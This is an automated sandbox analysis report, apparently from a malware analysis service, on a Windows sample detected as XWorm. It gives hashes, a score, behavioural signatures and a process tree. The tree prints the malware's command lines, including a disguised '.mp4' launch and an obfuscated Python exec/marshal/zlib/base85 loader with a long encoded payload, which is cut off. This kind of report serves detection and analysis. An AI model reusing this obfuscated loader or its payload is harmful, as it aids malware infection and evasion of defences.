Edit tour
Windows
Analysis Report
vUlh7stUHJ.exe
Overview
General Information
| Sample name: | vUlh7stUHJ.exerenamed because original name is a hash value |
| Original sample name: | d57adb24b010d644315933e7030cbdbc.exe |
| Analysis ID: | 1570141 |
| MD5: | d57adb24b010d644315933e7030cbdbc |
| SHA1: | 6d2c83ce9d75b3e1da11c3fbc1b25fdc3944537b |
| SHA256: | bc43e925d7b4b74319f6e74e836a96f1997ba404e14ac566cf12a21e9da463db |
| Tags: | exeuser-smica83 |
| Infos: |   |
 | |
Detection
XWorm
| Score: | 72 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Compliance
| Score: | 48 |
| Range: | 0 - 100 |
Signatures
Found malware configuration
Malicious sample detected (through community Yara rule)
Yara detected XWorm
AI detected suspicious sample
Allocates memory in foreign processes
C2 URLs / IPs found in malware configuration
Injects a PE file into a foreign processes
Obfuscated command line found
Sample uses string decryption to hide its real strings
Writes to foreign memory regions
Yara detected Generic Downloader
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to query locales information (e.g. system language)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Detected potential crypto function
Drops PE files
Drops certificate files (DER)
EXE planting / hijacking vulnerabilities found
Found dropped PE file which has not been started or loaded
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
One or more processes crash
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Startup Folder File Write
Stores files to the Windows start menu directory
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
vUlh7stUHJ.exe (PID: 5676 cmdline: "C:\Users\ user\Deskt op\vUlh7st UHJ.exe" MD5: D57ADB24B010D644315933E7030CBDBC) 
conhost.exe (PID: 6444 cmdline: C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 2644 cmdline:
"cmd" /C s tart C:\Us ers\user\A ppData\Roa ming\marke .mp4 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) 
pw.exe (PID: 7900 cmdline: "C:/recove r/pw/pw.ex e" -c exec (__import_ _('marshal ').loads(_ _import__( 'zlib').de compress(_ _import__( 'base64'). b85decode( 'c$|ee*>>V cmTX?q>0By n&8+IKa(ii Gw{s)`PJFx r5+FbrEg^_ AZKtG=5okd OVHRV*WY6h -nTPp<s>l9 |`GWZX{-Az go+czaJFD} YnSrCYHzIB <ca4avMLzo _@OOs4ffJ2 HPy|J-2z-E 17!6?z#zGi }@en3pB7_T YA%u%?F@#H SDTK>#IfPH (lMt@Jl@LC KPeZs0S3~# =KEp6(J-1) L7tvtNxD~T s!j~bQu)eT g!B_T|@XN5 iV0~qO4ZjZ YMe7^;Tlj5 =FInH&ui<O ^4SZvN55Eu FmaQM`-@)I 7_!H~*_K)z #5MQx=ve)3 6{Rj95dmXO Z8*szkgqva CQ)|oqBmAS i4Y%ziOyag xeFr_$cdir YIePJz1l&b 0(HDP-z(1i ^=t~Uu&{yb d4Bw(}(6<= =3;GVd#*ol sKfgq8eu+X 7eUE;?EtF2 6-|6Is7)<G up862Qvqyz U^7p?68sL) A`4^g}E53f E^&Cgn{7%o ojZf75G}5& m(vz`yVqhr b{Hd#&=$g7 RY(>Kqi3`O yFkE~ji_hc dv@lN;XdyL Uxv1m?@~VD LUtp3rFPvl WD(_8PUvgZ p=i`M6imxO W=8L0_gDh* lpiVsfdj9p }ZiY@LnD$B ?USI3pe97% ~93LZ3<ub= eTwZKl(0I* -f?Ved^94C yI_KvJsmzJ <m4|^7Umwg DJ>4IAju!o m*#&qUfBC@ lR&e1*evZx }zhJTaJ<0| APOXkQUkMn qT~8kjl2Pv ~O!xPQ_Zox $UOpQ5UdL& lc;DgbvtXJ SE>@ypU5ou @ttI>|e_ZR o!nOP;ihjW VyBLby#oLj )#6wFV^5-A #7H08TY_{+ ^@@-@moh|s W8SeQe64Vi fcR_Fbb>x9 277O4}P>UZ $`p;1;5xHB yG!Z=4+q=c t0*XJ5`^~) n-#oL#&+*y fEcVd%K=&} }b>tjNDH`d g{lqNsAuyu ^_iG?eFW~j pK(JV&39B> k=L??VwDo! 1(w+ID;<~z n0v%(eB$wt 1gq1&!oBCu P73R_IJl-4 n^Jr(D&<w> 3rTkF5!Nol 8Y3Ub%0E60 UG=cxCv7e$ pM3<w>vDN6 y=$q&U#=Yd {(qDM|Lg}Y *F$=@Xzr|i h?qV3nK_<l Gexw_nMRAF _MzMd7-z7p R!~>g1#<^c #2AoCb3r^3 `^kl+Y3b*C xqxo{JUZAh &^X7aB+e={ J$p!BZ!PeJ <VmBaM(K@c 7d%iyQ=Zg> c=PW)|^ug8 R1V0A5T@G1 YjlPOvvm!r dEcO^Z;~%B sNB$bQ#%6? Ke_8giF$d- p7+JXef3p7 gqg8$x4Bfy *8%yQS&;K= chb?jz`&%T C!`~tw9`*e nv3^W=*eUj cU~AaxVs8o WkHNO1>ffU ejDBKe<tWg 9;5sLpA6;W 3GW~Yk^WGj =Jx#F&CvQK |BxBxMFzku $3~k-RzK>f z2{4>D{mB& YEE^wZeG~Q GeJ+{!Z&m* 0(YgH?R%Y} U{0~_CIq~4 ^-Z!DWdQXD c{}dD};r=_ e+w=S@Y@FW Pkl%1SIR1H ^n;<j=R=eU 2l&k+ml|k2 |Dgz-60!6( H)Oh&$W}ii V6N#pgPm$; @hCM%qV+6L re^_h+;~y< {!H>@pI5xz vmj_2+ENor Ecnrlud>P| $lnC)B*k2c BPcZe0zc5> wEo1Ddzc_n 3Tf*4tY!#c y0_S}n@URn j@=rlQ1k5k Z7gc4T@2By Rkj*^A`Y_C e+=P}HDj{^ f<g@vg0d+Q Wr8@y7x(Xf rMIe&jitok 8$oi4uIi?Q ;_Obp&Fyd2 NFy>j{BL8T bui`1xj`P^ LghRvwf(_& W3CP27LCdF c&jQL%)#s0 zdR+K(Wj;4 1s@Fju^%)3 f5OBW|TgEY HHM$ZHoHT& JKN0h4xKsI 0?7dZi@T&r u=Ox67otz* MbX#Ir7MP6 03%M!}Oh2S )xSSwaj7Bq T!(?&-!Q~_ g<Z3dR23?k HHC;|AF#wU khjykbo9PV iSagLN4*|o q8nWcI%*=% %wMj`%XX<j =QwwY_Z*jE JMNXq>$pT= YUL2=1k;QX !4XF!?b&$& _UC^i!mR+T |6rVDQ7T{Z 4f#DUJt?(u 2)ktojqyR5 ChAedav~Ef j8KAtzuskp 3T*(GDUu0! yBAYY)fkZM anxeAqSPi| Pk<erZttOY (^9SR4;hYk ?$c8Dl!8_( y1Xf<Qa<wY i$Vel%#L0{ xF}aCW(lRY F2U=6BtT{} +MfE7&Bn`d WN};^pln8? mi-WXCv<SY 7Xx@UnC}jk $YvdcE(d7z ONtgUe!$gI =4GW^2zTp{ O;JaL^C1lf $X^YZL1UcH W)h>M_SX@& tjxr6YeN#= Hk9gbi0cE9 mi<RVVj*|h yR;FBCV{%p _#axJVyMkp *2ozsYi@w7 FnpAAd5Ny8 >Fu%GD#D;k =5G{7fTf8C xX)Koz%hL?